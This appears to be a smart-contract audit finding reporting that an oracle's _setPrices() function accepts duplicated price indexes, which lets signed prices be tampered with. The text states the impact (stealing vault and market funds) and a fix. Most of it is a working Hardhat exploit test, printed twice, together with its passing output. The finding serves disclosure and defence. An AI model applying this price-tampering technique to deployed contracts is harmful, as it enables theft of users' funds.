The oracle price could be tampered
The `_setPrices()` function is missing to check duplicated prices indexes. Attackers such as malicious order keepers can exploit it to tamper signed prices.\\nThe following test script shows how it works\\n```\\nimport { expect } from "chai";\\n\\nimport { deployContract } from "../../utils/deploy";\\nimport { deployFixture } from "../../utils/fixture";\\nimport {\\n  TOKEN_ORACLE_TYPES,\\n  signPrices,\\n  getSignerInfo,\\n  getCompactedPrices,\\n  getCompactedPriceIndexes,\\n  getCompactedDecimals,\\n  getCompactedOracleBlockNumbers,\\n  getCompactedOracleTimestamps,\\n} from "../../utils/oracle";\\nimport { printGasUsage } from "../../utils/gas";\\nimport { grantRole } from "../../utils/role";\\nimport * as keys from "../../utils/keys";\\n\\ndescribe("AttackOracle", () => {\\n  const { provider } = ethers;\\n\\n  let user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9;\\n  let roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc;\\n  let oracleSalt;\\n\\n  beforeEach(async () => {\\n    const fixture = await deployFixture();\\n    ({ user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9 } = fixture.accounts);\\n\\n    ({ roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc } = fixture.contracts);\\n    ({ oracleSalt } = fixture.props);\\n  });\\n\\n  it("inits", async () => {\\n    expect(await oracle.oracleStore()).to.eq(oracleStore.address);\\n    expect(await oracle.SALT()).to.eq(oracleSalt);\\n  });\\n\\n  it("tamperPrices", async () => {\\n    const blockNumber = (await provider.getBlock()).number;\\n    const blockTimestamp = (await provider.getBlock()).timestamp;\\n    await dataStore.setUint(keys.MIN_ORACLE_SIGNERS, 2);\\n    const block = await provider.getBlock(blockNumber);\\n\\n    let signerInfo = getSignerInfo([0, 1]);\\n    let minPrices = [1000, 1000]; // if some signers sign a same price\\n    let maxPrices = [1010, 1010]; // if some signers sign a same price\\n    let signatures = await signPrices({\\n      signers: [signer0, signer1],\\n      salt: oracleSalt,\\n      minOracleBlockNumber: blockNumber,\\n      maxOracleBlockNumber: blockNumber,\\n      oracleTimestamp: blockTimestamp,\\n      blockHash: block.hash,\\n      token: wnt.address,\\n      tokenOracleType: TOKEN_ORACLE_TYPES.DEFAULT,\\n      precision: 1,\\n      minPrices,\\n      maxPrices,\\n    });\\n\\n    // attacker tamper the prices and indexes\\n    minPrices[1] = 2000\\n    maxPrices[1] = 2020\\n    let indexes = getCompactedPriceIndexes([0, 0]) // share the same index\\n\\n    await oracle.setPrices(dataStore.address, eventEmitter.address, {\\n      priceFeedTokens: [],\\n      signerInfo,\\n      tokens: [wnt.address],\\n      compactedMinOracleBlockNumbers: [blockNumber],\\n      compactedMaxOracleBlockNumbers: [blockNumber],\\n      compactedOracleTimestamps: [blockTimestamp],\\n      compactedDecimals: getCompactedDecimals([1]),\\n      compactedMinPrices: getCompactedPrices(minPrices),\\n      compactedMinPricesIndexes: indexes,\\n      compactedMaxPrices: getCompactedPrices(maxPrices),\\n      compactedMaxPricesIndexes: indexes,\\n      signatures,\\n    });\\n\\n    const decimals = 10\\n    expect((await oracle.getPrimaryPrice(wnt.address)).min).eq(1500 * decimals);\\n    expect((await oracle.getPrimaryPrice(wnt.address)).max).eq(1515 * decimals);\\n  });\\n\\n});\\n```\\n\\nThe output\\n```\\n> npx hardhat test .\\test\\oracle\\AttackOracle.ts\\n\\n\\n  AttackOracle\\n    √ inits\\n    √ tamperPrices (105ms)\\n\\n\\n  2 passing (13s)\\n```\\n
Don't allow duplicated prices indexes
Steal funds from the vault and markets.
```\\nimport { expect } from "chai";\\n\\nimport { deployContract } from "../../utils/deploy";\\nimport { deployFixture } from "../../utils/fixture";\\nimport {\\n  TOKEN_ORACLE_TYPES,\\n  signPrices,\\n  getSignerInfo,\\n  getCompactedPrices,\\n  getCompactedPriceIndexes,\\n  getCompactedDecimals,\\n  getCompactedOracleBlockNumbers,\\n  getCompactedOracleTimestamps,\\n} from "../../utils/oracle";\\nimport { printGasUsage } from "../../utils/gas";\\nimport { grantRole } from "../../utils/role";\\nimport * as keys from "../../utils/keys";\\n\\ndescribe("AttackOracle", () => {\\n  const { provider } = ethers;\\n\\n  let user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9;\\n  let roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc;\\n  let oracleSalt;\\n\\n  beforeEach(async () => {\\n    const fixture = await deployFixture();\\n    ({ user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9 } = fixture.accounts);\\n\\n    ({ roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc } = fixture.contracts);\\n    ({ oracleSalt } = fixture.props);\\n  });\\n\\n  it("inits", async () => {\\n    expect(await oracle.oracleStore()).to.eq(oracleStore.address);\\n    expect(await oracle.SALT()).to.eq(oracleSalt);\\n  });\\n\\n  it("tamperPrices", async () => {\\n    const blockNumber = (await provider.getBlock()).number;\\n    const blockTimestamp = (await provider.getBlock()).timestamp;\\n    await dataStore.setUint(keys.MIN_ORACLE_SIGNERS, 2);\\n    const block = await provider.getBlock(blockNumber);\\n\\n    let signerInfo = getSignerInfo([0, 1]);\\n    let minPrices = [1000, 1000]; // if some signers sign a same price\\n    let maxPrices = [1010, 1010]; // if some signers sign a same price\\n    let signatures = await signPrices({\\n      signers: [signer0, signer1],\\n      salt: oracleSalt,\\n      minOracleBlockNumber: blockNumber,\\n      maxOracleBlockNumber: blockNumber,\\n      oracleTimestamp: blockTimestamp,\\n      blockHash: block.hash,\\n      token: wnt.address,\\n      tokenOracleType: TOKEN_ORACLE_TYPES.DEFAULT,\\n      precision: 1,\\n      minPrices,\\n      maxPrices,\\n    });\\n\\n    // attacker tamper the prices and indexes\\n    minPrices[1] = 2000\\n    maxPrices[1] = 2020\\n    let indexes = getCompactedPriceIndexes([0, 0]) // share the same index\\n\\n    await oracle.setPrices(dataStore.address, eventEmitter.address, {\\n      priceFeedTokens: [],\\n      signerInfo,\\n      tokens: [wnt.address],\\n      compactedMinOracleBlockNumbers: [blockNumber],\\n      compactedMaxOracleBlockNumbers: [blockNumber],\\n      compactedOracleTimestamps: [blockTimestamp],\\n      compactedDecimals: getCompactedDecimals([1]),\\n      compactedMinPrices: getCompactedPrices(minPrices),\\n      compactedMinPricesIndexes: indexes,\\n      compactedMaxPrices: getCompactedPrices(maxPrices),\\n      compactedMaxPricesIndexes: indexes,\\n      signatures,\\n    });\\n\\n    const decimals = 10\\n    expect((await oracle.getPrimaryPrice(wnt.address)).min).eq(1500 * decimals);\\n    expect((await oracle.getPrimaryPrice(wnt.address)).max).eq(1515 * decimals);\\n  });\\n\\n});\\n```\\n